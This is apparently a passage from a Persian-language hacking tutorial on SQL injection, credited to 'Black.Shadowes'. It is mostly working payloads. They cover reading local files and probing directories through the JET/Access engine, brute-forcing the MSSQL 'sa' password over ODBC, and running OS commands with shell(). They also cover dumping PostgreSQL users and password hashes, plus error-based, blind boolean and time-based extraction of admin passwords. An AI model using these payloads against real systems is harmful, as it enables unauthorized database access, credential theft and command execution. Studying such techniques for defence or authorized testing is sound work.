Connectivity Engine\ISAM Formats 
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  . ليست شده اند استفاده مي كنندEngine\ از موتورهايي كه در كليد ISAMاتصال هاي 

  
. ODBC Connections: 

  :گيري است شكل نيز با فرمت زير قابل ODBCاتصال هاي 
 

... FROM [ODBC; DRIVER=<Driver>] 
  

  : نيز در كليد رجيستري زير ليست شده اندODBCانواع اتصالات 

  
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI 

  

  . به آن متصل شدISAM را نمي دهد و فقط بايد به صورت ODBC اجازه ي اتصال با JETموتور 

  

  :حلي خواندن فايل هاي م-

 بـه   TOP زير قابل دسترسي هستند كه در آن عبـارت            دستوري فايل هاي محلي با فرمت      

  :منظور جدا كردن چند سطر اول استفاده مي شود

  
SELECT id FROM users WHERE username ='1' and password='' 
UNION SELECT TOP # * FROM 
[TEXT;DATABASE=<DirectoryPath>;HDR=NO;FMT=Delimited
].[<FileName>] WHERE '1'='1' OR '1'='1' 

  

  : به صورت زير خوانده مي شودExcelبراي نمونه يك صفحه 

  
SELECT id FROM users WHERE username ='1'and password='' 
UNION SELECT TOP # * FROM [Excel 8.0;DATABASE=<Full 
File Path>;HDR=NO].[Sheet1$] WHERE '1'='1' OR '1'='1' 

  

 را مي توان از اين طريق خواند، چند نوع كه معمولا به طـور پيـشفرض          نوع فايل هاي مخصوصي   

  :قابل خواندن هستند در زير آمده است
txt,csv,tab,asc,tmp,htm,html 



Black.Shadowes | copyright  2009 Page 68 

  

  :پيام هاي خطاي معمول

  
Microsoft JET Database Engine error '80040e09' 
Cannot update. Database or object is read-only. 

  :دليل

  .فايل وجود دارد ولي از نوع غير معتبر است

  
Microsoft JET Database Engine error '80004005' 
'<Directory Path>' is not a valid path. Make sure that the path name is 
spelled correctly and that you are connected to the server on which the file 
resides. 

  

  :دليل

  .مسيري كه مشخص شده وجود ندارد و يا بوسيله ي كاربر جاري قابل دسترس نيست

  
Microsoft JET Database Engine error '80040e37' 
The Microsoft Jet database engine could not find the object '<FileName>'. 
Make sure the object exists and that you spell its name and the path name 
correctly. 

  :دليل

  .فايلي كه مشخص شده وجود ندارد و يا بوسيله ي كاربر جاري قابل دسترس نيست

  

  :MSSQL اتصال به -

 موجود در شبكه    MSSQL مي تواند براي متصل شدن به يك سرور          ODBCاز يك اتصال      

  :استفاده كرد
 
SELECT id FROM users WHERE username ='1'and password='' UNION 
SELECT * FROM 
[ODBC;DRIVER=SQL SERVER; Server=<Server>,<Port>; UID=sa; 
PWD=<PASSWORD>; DATABASE=master] .Information_Schema.Tables 
where '1'='1'or'1'='1' 
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  :پيام خطا
Microsoft JET Database Engine error '80004005' 
ODBC--connection to 'SQL SERVER<Server>' failed. 

  :دليل

اگر زمان زيادي تا مشاهده ي پيام صرف شد نتيجه مي شود كه سروري براي پاسـخگويي وجـود                   

  .ي عبور يا رمز اشتباه مي باشد در غير اين صورت كلمه. ندارد

  . استفاده كردSAاز اين روش مي توان براي بدست آوردن رمز عبور براي كاربر 

  

  :ها ها و دايركتوري دم وجود فايل وجود يا ع-

ها به كـار       را مي توان براي بررسي وجود و يا عدم وجود فايل ها و دايركتوري              INعبارت  

  :جستجوي زير براي يافتن درايو سيستمي به كار مي رود. برد

  
SELECT id FROM users WHERE username ='1' UNION SELECT * 
FROM test IN '. ' WHERE '1'='1' and password=''   

  

  :پيام خطا
Microsoft JET Database Engine error '80004005' 
The Microsoft Jet database engine cannot open the file 
'c:\windows\system32\inetsrv'. It is already opened exclusively by another 
user, or you need permission to view its data 

  

  :ي بررسي وجود فايل و يا دايركتوري از جستجوي زير استفاده مي شودبرا
 

SELECT id FROM users WHERE username ='1' UNION SELECT id 
FROM test IN '<path to file>' WHERE '1'='1' and password='' 

  :پيام خطا
Microsoft JET Database Engine error '80004005' 
Unrecognized database format 'c:\temp\file.txt'. 

  :دليل

  .فايل وجود دارد ولي يك فرمت قابل قبول نيست

  

  :پيام خطا
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Microsoft JET Database Engine error '80004005' 
Could not find file 'c:\temp\nofile.txt'. 

  :دليل

  .فايل وجود ندارد

  

  :پيام خطا
Microsoft JET Database Engine error '80004005' 
'c:\nopath\nofile.txt' is not a valid path. Make sure that the path name is 
spelled correctly and that you are connected to the server on which the file 
resides. 

  :دليل

  .دايركتوري وجود ندارد

  

  :پيام خطا
Microsoft JET Database Engine error '80004005' 
The Microsoft Jet database engine cannot open the file 'c:\temp'. It is already 
opened exclusively by another user, or you need permission to view its data. 

  :دليل

  .سعي در باز كردن دايركتوري مي باشد كه موجود است

  

  : اجراي دستورات سيستم عامل-

و يا قابل دور زدن باشد با استفاده از توابع زير مي تـوان          !!! ل باشد  غيرفعا SandBoxاگر    

  :دستورات سيستم عامل را اجرا كرد

  
CurDir[(drive)]  

  .مسير جاري
 

Query: Select name from users where id ='1' union select 
curdir() from msysaccessobjects where '1'='1' 

 

 

Dir[(pathname [, attributes] )]  
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نام يك فايل و يا دايركتوري كه با الگوي مشخص شده و يا مشخصات فايل و يا نام درايو تطبيق 

  . داشته باشد
 

Query: Select name from users where id ='1' union select 
dir('c:\ ') from msysaccessobjects where '1'='1'  

 

 

FileLen(pathname)  

  .يتاندازه ي فايل به با
 
Query: Select name from users where id ='1' union select 
filelen('c:\boot.ini') from msysaccessobjects where 

'1'='1'  

 

 

GetAttr(pathname)  

  .مشخصات فايل و يا دايركتوري
  
Query: Select name from users where id ='1' union select 
getattr('c:\ ') from msysaccessobjects where '1'='1'  

 

 

Shell(pathname [, windowstyle ] )  

  . به عنوان مشخصه پروسهDoubleاجراي يك فايل و برگرداندن يك متغير 
 

Query: Select name from users where id ='1' union select 
shell('<file to run>') from msysaccessobjects where 

'1'='1' 

  :پيام خطا
Microsoft JET Database Engine error 
'80040e14' Invalid procedure call 

  :دليل

  )دسترسي محدود. (اجراي فايل مجاز نيست
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  :PostgreSQLتزريق در 
  :شود مي بررسي DBMSاين ي ها به طور مختصر ويژگي  

  

  :DBMSليست كاربران 
SELECT username FROM pg_user; 
SELECT username,password FROM pg_shadow ; 
 

  :ها ليست ديتابيس
SELECT datname FROM pg_database; 

  :ها ليست جدول
SELECT relname FROM pg_catalog.pg_class; 

  :ها ليست ستون
SELECT attname FROM pg_catalog.pg_attribute  

  

  .شود مي براي محدود كردن جواب استفاده OFFSET و LIMITاز 

  .اي انتخاب زيررشته دارد برsubstrتابع 

  .شود مي براي تركيب عطفي استفاده &از 

  . به كاراكتر داردascii براي تبديل كد chrتابع 

  .شود مي براي اتصال دو رشته استفاده ||از 

  . همانند موارد قبل استCASE و CASTدستورات 

  .باشد مي DBMSي  نسخهي   براي مشاهده()vsersionتابع 

  .شود مياي كامنت كردن استفاده  بر/**/ و -- از 

 نيز بـه   getpgusername از تابع    .شود مي براي ديدن كاربر جاري استفاده       userكليدي  ي    از كلمه 

  .شود ميهمين منظور استفاده 

Current_database()باشد ميديتابيس فعلي ي   براي مشاهده.  
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سـاختار  . ق مبتني بر خطا اسـتفاده كـرد        مي توان از تزري    MSSQL نيز همانند    DBMSدر اين   

Queryبراي اين نوع تزريق به صورت زير مي باشد :  
 

… id=12 or 1=CAST(version() AS int) 

  

 قرار داد كه يك مقدار رشته بر مي گرداند و نتيجه را كه بـه                Query مي توان    ()versionبه جاي   

  .صورت پيام خطاي تبديل ظاهر مي شود بدست آورد
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  :(Blind SQL Injection)تزريق كور 
 به منظـور    UNIONآيد كه شما قادر به استفاده از         مي حالتي پيش    ها  Queryدر بعضي از      

دسـتور  . تواند دلايل مختلفي داشته باشـد  ميحال اين اشكال . ديدن اطلاعات روي صفحه نيستيد    

UNION    دانيـد آيـا تعـداد       مـي ست بياوريد، ن   را بد  ها  توانيد تعداد ستون   مي فيلتر شده است، ن

آيد كه بـه     ميدر بعضي موارد نيز پيش      . ...  و   ها   اشتباه است يا نام جدول و يا نوع ستون         ها  ستون

گيرد قادر به اسـتفاده از       مي قرار   Queryشود در دو     مي گرفته   URLدليل اينكه آرگوماني كه در      

UNIONنيستيم :  

  
?id=123 
SELECT title,content FROM T_News WHERE nid=123 
SELECT title FROM T_News_Old WHERE nid=123 
 

 استفاده كرد چـون     UNIONتوان از دستور     ميگيرد ن  مي قرار   Query در دو    123در اينجا چون    

  .شود ميي بالا با مشكل مواجه ها Queryيكي از 

ت به بيت اطلاعات     معمولي براي كشيدن بي    OR و يا    ANDتوان از يك دستور      ميدر اينجا     

توانيد  ميگويد كه يك شرط درست است يا غلط شما           مياينكه سرور به شما     . به بيرون كمك گرفت   

  : براي مثال سناريوي زير را در نظر بگيريد.همانند يك بازي چند سوالي به جواب برسيد

  
www.NewsSite.com/news.php?id=123 
 
?id=123 OR 1=(SELECT IFNULL((SELECT 0 FROM 
information_schema.tables  WHERE 1=1 limit 1 offset 0), 1)) 
 

را بعنوان نتيجه بـر      مي بودن اولي، دو   NULLگيرد و در صورت      مي دو آرگومان    IFNULLتابع  

دقت كنيد كه آرگومان اول بايـد طـوري         .گرداند ميگرداند و در غير اين صورت اولي را بر           مي

 اسـتفاده  LIMIT 1 OFFSET 1ا برگرداند كه در اينجا از عبارت نوشته شود كه فقط يك مقدار ر

در صورت درست بـودن  . توان از امكانات خاص آن استفاده كرد ميي  DBMSشده است و در هر   

گرداند كه قسمت دوم تبـديل بـه    مي را بعنوان نتيجه بر    0 يك   SELECTعبارت   WHEREشرط  

 اما در صـورت     . نشان داده خواهد شد    123خبر  ي    شود پس همان صفحه    مي falseشود و    مي 0=1

 1=1عبارت دوم تبديل به شـرط       ) البته در اين مورد شرط هميشه درست است       ( اشتباه بودن شرط    
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 DBMSالبته اين شرط ممكن است باعث شـود         . ديگري نشان داده خواهد شد    ي    شود و صفحه   مي

تـوان از   مـي  لذا بسته به شـرايط  .گيرد مي را در صفحه نمايش دهد كه وقت زيادي        ها  خبر ميتما

  .ي ديگر استفاده كردها راه

  :يي مشابه زير استفاده كردها Queryتوان از  ميحال به منظور بيرون كشيدن اطلاعات   

  
?id=123 OR 1=(SELECT IFNULL((SELECT 0 FROM 
information_schema.tables  WHERE table_name<'B' limit 1 offset 0), 1)) 

حال فكر كنيد كه اولـين نـام جـدول          . نويسيم ميدي را    بع Queryبينيم   ميبه صفحه اي كه     بسته  

CHARACTER_SET بر اساس كد     ها  در ضمن بزرگي و كوچكي براي رشته      .  باشد ascii   در نظر 

  : آن رشته اي كه طول بيشتري دارد بزرگتر استasciiشود و در صورت يكي بودن كد  ميگرفته 
'A' < 'Z' 
'Z' < '_' 
'_' < 'a' 
'a' < 'z' 
'ADE' < 'ADF' 
'AD' < 'ADG' 
 

 NULL مقدار   SELECTديگري نشان داده خواهد شد چون       ي     بالا صفحه  Queryي    پس در نتيجه  

حال به طور معمول با يك جستجوي ساده در مراحل اول و دودويي در مراحـل                . برگردانده است 

  :رسيم ميبعدي به جواب 

  
?id=123 OR 1=(SELECT IFNULL((SELECT 0 FROM 
information_schema.tables  WHERE table_name<'C' limit 1 offset 0), 1)) � false 
?id=123 OR 1=(SELECT IFNULL((SELECT 0 FROM 
information_schema.tables  WHERE table_name<'D' limit 1 offset 0), 1)) � true 
 
?id=123 OR 1=(SELECT IFNULL((SELECT 0 FROM 
information_schema.tables  WHERE table_name<'CM' limit 1 offset 0), 1)) � 
false 
 
?id=123 OR 1=(SELECT IFNULL((SELECT 0 FROM 
information_schema.tables  WHERE table_name<'CG' limit 1 offset 0), 1)) � 
true : 'CG'< && <'CM' 
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ي هـا   DBMS در   .توان بيت به بيت اطلاعات مفيدي را بيرون كشيد         ميبا چندين بار سعي و خطا       

 ها  آني     معمولا در همه   CASEمختلف دستورات مختلفي براي گذاشتن شرط قرار دارد كه دستور           

 در  NVL از تـابع     .توان اسـتفاده نمـود     مي نيز   MSSQL در   COALESCE تابعاز  . قرار دارد 

Oracleد نيز به اين منظور استفاده مي شو.  

  
?id=123 AND 1=(COALESCE((SELECT TOP 1 table_name FROM 
information_schema.tables WHERE 1=1),0)) 
 
?id=123 AND 1=(NVL((SELECT 1 FROM all_tables WHERE 1=1),0)) 

  

شـود،   مـي شود زمان زيادي صرف انتقال اطلاعـات         مي 1=1چون وقتي كه قسمت دوم        

اصـلي نـشان   ي   شد صفحه  1=1در اينجا اگر شرط     . شود مياستفاده   AND از   ORمعمولا به جاي    

البتـه  . شـود  ميمبني بر پيدا نشدن اطلاعات ظاهر        مي شدن پيا  0=1داده خواهد شد و در صورت       

 شـدن   NULL اسـتفاده كـرد كـه در صـورت           'a' در آرگومان دوم از مقدار       1توان به جاي     مي

SELECT 1 شرط='a' شود شود و پيام خطايي ظاهر.  

حـالتي را در    . نوع ديگري نيز در تزريق كور وجود دارد به نام تزريق كور مبتني بر زمان                

 قرار مي گيرد كه هيچ تاثيري در نتيجه ي مـشاهده            Queryنظر بگيريد كه ورودي گرفته شده در        

از اين رو بايد شيوه اي براي تمييز بين حالت اشـتباه و درسـت در شـرط                  . صفحه ندارد شده در   

Query  در اينجا از زمان پاسخگويي      .  داشته باشيمDBMS   مثلا در صورت اشتباه    .  استفاده مي شود

 چند ثانيه صبر كند و سپس جواب را بدهد و در صورت صحيح بودن بي درنگ                 DBMSبودن شرط   

  .جواب دهد

در زير بـه چنـد      .  هاي مختلف، شيوه هاي مختلفي براي اين كار وجود دارد          DBMSدر    

  .هيم پرداختنمونه خوا

  

MySQL:  
SELECT BENCHMARK(1000000, MD5('C')); 
SELECT SLEEP(5); /*>=5.0.12*/ 
 

  :براي نمونه
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… id=12 and 1=IFNULL((SELECT BENCHMARK(1000000, MD5('C')) FROM 
TBL_Admins WHERE adm_pass>'a' LIMIT 1 OFFSET 0),0)/* 
 

 ثانيه به ما مي رسد و 6 باشد، جواب بعد از حدود  درست'adm_pass>'aدر اين نمونه اگر شرط 

  .در غير اين صورت بلافاصله خواهد رسيد

  

MSSQL:  
IF(1=1) WAITFOR DELAY '0:0:5'; 

  :براي نمونه

  
… id=12; IF(1=(SELECT 1 FROM TBL_Admins WHERE adm_pass>'a' LIMIT 1 
OFFSET 0)) WAITFOR DELAY '0:0:5'; 
 

Oracle & MSACCESS:  

 يك روش عمومي بوده بـه نـام جـستجوي سـنگين             روشي كه در اينجا استفاده مي شود      

(HeavyQuery)     كه براي ساير DBMS     براي ايجاد وقفه وقتـي كـه در        .  ها نيز استفاده مي شود

DBMS             براي اين منظور   .  به صورت صريح روشي وجود ندارد مي توان از اين روش استفاده كرد

 و از آن     مـي كننـد    Joinزيادي ركورد هست را چنـد بـار بـا هـم             يك جدول كه داراي تعداد      

Count(*)  چون  .  مي گيرندJoin               يا ضرب دكارتي چند جدول بزرگ بسيار هزينه بر و وقـت گيـر 

  .است مي توان از آن به جاي روش هاي وقفه ساز استفاده كرد

  

 :براي نمونه
 
… id=12 and 1=( 
IF (1=1) 
THEN 
(SELECT COUNT(*) FROM news n1, news n2, news n3 limit 1 offset 0)    
ELSE 
(SELECT 1) 
) 

البته بايد توجه   .  جدول ها مي تواند بيشتر شود      Join بوده و تعداد     HeavyQueryخط چهارم يك    

  .تعداد ركورد هاي جدول زياد باشدكرد كه 
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 بدل كردن   در حالت كلي اين  روش مبتني بر زمان است و هر گونه اختلال در سرعت رد و                 

البته در صـورت ايجـاد      . اطلاعات به سرور باعث ايجاد خطا در بدست آوردن اطلاعات مي شود           

خطا در بدست آوردن يك كاراكتر، در بدست آوردن كاراكتر بعدي با مشكل مواجه خواهيم شـد                 

و عملا خواهيم فهميد كه كاراكتر قبلي اشتباه بوده است ولي در حالت كلي اگـر سـرعت اتـصال                    

  .اراي نوسان باشد اين روش جواب نخواهد دادد

 پايان
 
 


